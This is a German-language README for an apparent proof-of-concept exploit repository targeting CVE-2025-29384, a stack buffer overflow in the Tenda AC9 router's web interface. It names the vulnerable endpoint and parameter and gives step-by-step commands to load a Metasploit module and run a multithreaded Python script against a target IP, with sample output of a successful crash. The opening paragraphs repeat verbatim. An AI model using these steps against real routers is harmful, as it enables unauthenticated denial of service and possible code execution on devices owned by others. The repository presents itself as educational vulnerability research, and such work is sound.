
POC für CVE-2025-29384
Dieses Repository enthält einen erweiterten Proof-of-Concept-Exploit (PoC) für CVE-2025-29384, eine kritische Stack-basierte Pufferüberlauf-Schwachstelle, die im Tenda AC9-Router mit der Firmware-Version V15.03.05.14_multi entdeckt wurde. Diese Schwachstelle ermöglicht es nicht authentifizierten Remote-Angreifern, den Webserver des Routers zum Absturz zu bringen (Denial-of-Service, DoS) und potenziell beliebigen Code auszuführen (Remote Code Execution, RCE).
Der Zweck dieses Projekts ist es, Fähigkeiten in der Exploit-Entwicklung zu demonstrieren, einen Beitrag zur Cybersicherheits-Community zu leisten und eine lehrreiche Demonstration für akademische Bewertungen (z. B. Cybersicherheits-Stipendien) bereitzustellen. Dieses Repository enthält einen erweiterten Proof-of-Concept-Exploit (PoC) für CVE-2025-29384, eine kritische Stack-basierte Pufferüberlauf-Schwachstelle, die im Tenda AC9-Router mit der Firmware-Version V15.03.05.14_multi entdeckt wurde. Diese Schwachstelle ermöglicht es nicht authentifizierten Remote-Angreifern, den Webserver des Routers zum Absturz zu bringen (Denial-of-Service, DoS) und potenziell beliebigen Code auszuführen (Remote Code Execution, RCE).
Der Zweck dieses Projekts ist es, Fähigkeiten in der Exploit-Entwicklung zu demonstrieren, einen Beitrag zur Cybersicherheits-Community zu leisten und eine lehrreiche Demonstration für akademische Bewertungen, wie z. B. Cybersicherheits-Stipendien, bereitzustellen.
CVE-2025-29384 betrifft das Webverwaltungsinterface des Tenda AC9-Routers, insbesondere den Endpunkt:
/goform/AdvSetMacMtuWan
Die Schwachstelle existiert aufgrund fehlerhafter Grenzprüfungen des Parameters wanMTU, der über eine HTTP-POST-Anfrage verarbeitet wird. Die Eingabe wird ohne Validierung in einen Stack-Puffer fester Größe kopiert, was zu einem klassischen Stack-basierten Pufferüberlauf führt.
Die verwundbare Funktion (hypothetische Rekonstruktion) folgt dieser Struktur:
void process_mtu(char *input) {
char buffer[256]; // Fixed-size stack buffer
strcpy(buffer, input); // No length check, causes overflow
// Process MTU value...
}
Ein Angreifer, der eine überdimensionierte Nutzlast sendet (z. B. 1024+ Bytes), überschreibt angrenzenden Speicher, einschließlich der Rücksprungadresse der Funktion, was möglicherweise zu Codeausführung führt.
| Metrik | Wert |
|---|---|
| Angriffsvektor | Netzwerk |
| Angriffskomplexität | Niedrig |
| Erforderliche Privilegien | Keine |
| Benutzerinteraktion | Keine |
| Auswirkung auf die Vertraulichkeit | Hoch |
| Auswirkung auf die Integrität | Hoch |
| Auswirkung auf die Verfügbarkeit | Hoch |
Der Tenda AC9 ist ein Dualband-WLAN-Router mit den folgenden Spezifikationen:
Dieses Repository enthält außerdem ein Ruby-basiertes Metasploit-Modul für CVE-2025-29384. Das Modul lässt sich nahtlos in das Metasploit-Framework integrieren und ermöglicht es Ihnen, die Schwachstelle über msfconsole auszunutzen.
git clone https://github.com/Otsmane-Ahmed/cve-2025-29384-poc
cd cve-2025-29384-poc
Lokalisieren Sie die Ruby-Moduldatei und kopieren Sie sie in das Exploits-Verzeichnis von Metasploit:
cp tenda_ac9_stack_overflow.rb ~/.msf4/modules/exploits/linux/http/
Hinweis: Falls das Verzeichnis nicht existiert, erstellen Sie es:
mkdir -p ~/.msf4/modules/exploits/linux/http/
Starten Sie das Metasploit-Framework:
msfconsole
Laden Sie das Modul:
use exploit/linux/http/tenda_ac9_stack_overflow
Legen Sie die Ziel-IP-Adresse fest:
set RHOSTS <target_ip>
Legen Sie die Nutzlastgröße fest (optional, Standard ist 1024):
set PAYLOAD_SIZE 2048
Führen Sie den Exploit aus:
run
[*] Targeting Tenda AC9 at 192.168.0.1:80...
[*] Sending payload of size 2048...
[+] Payload sent successfully!
[*] Response: HTTP/1.1 200 OK...
Erfolg: Der Webserver des Routers stürzt ab und verursacht einen Denial-of-Service-Zustand (DoS).
Fehlschlag: Der Router bleibt betriebsbereit, was darauf hindeutet, dass er möglicherweise nicht verwundbar ist oder eine gepatchte Firmware-Version ausführt.
Dieser PoC ist ein Python-basierter Exploit, der eine überdimensionierte Eingabe an /goform/AdvSetMacMtuWan sendet, einen Pufferüberlauf auslöst, um den Webserver zum Absturz zu bringen, und das Potenzial für RCE aufzeigt.
Multithreading – Startet mehrere gleichzeitige Exploit-Versuche für mehr Zuverlässigkeit.
Dynamische Nutzlasten – Erzeugt zufällige base64-codierte Angriffszeichenfolgen.
Protokollierung – Verwendet das Protokollierungsmodul von Python für strukturierte Fehlersuche.
Anpassbare Parameter – Passt Ziel-IP, Nutzlastgröße und Thread-Anzahl an.
Dieser PoC ist ein Python-basierter Exploit, der eine überdimensionierte Eingabe an /goform/AdvSetMacMtuWan sendet und einen Pufferüberlauf auslöst, um den Webserver zum Absturz zu bringen.
python poc.py --target <router_ip> --size 2048 --threads 10
| Argument | Beschreibung |
|---|---|
--target | Router-IP (Standard: 192.168.0.1) |
--size | Nutzlastgröße in Bytes (Standard: 1024) |
--threads | Anzahl der gleichzeitigen Threads (Standard: 5) |
[+] CVE-2025-29384 Exploit Engine
[INFO] Target: 192.168.0.1
[INFO] Sending payload (2048 bytes)...
[WARNING] Target timeout - possible crash!
[INFO] Exploit sequence completed.
Erfolg: Die Weboberfläche des Routers reagiert nicht mehr (DoS-Zustand).
Fehlschlag: Der Router reagiert weiterhin (nicht verwundbar oder falsche Firmware).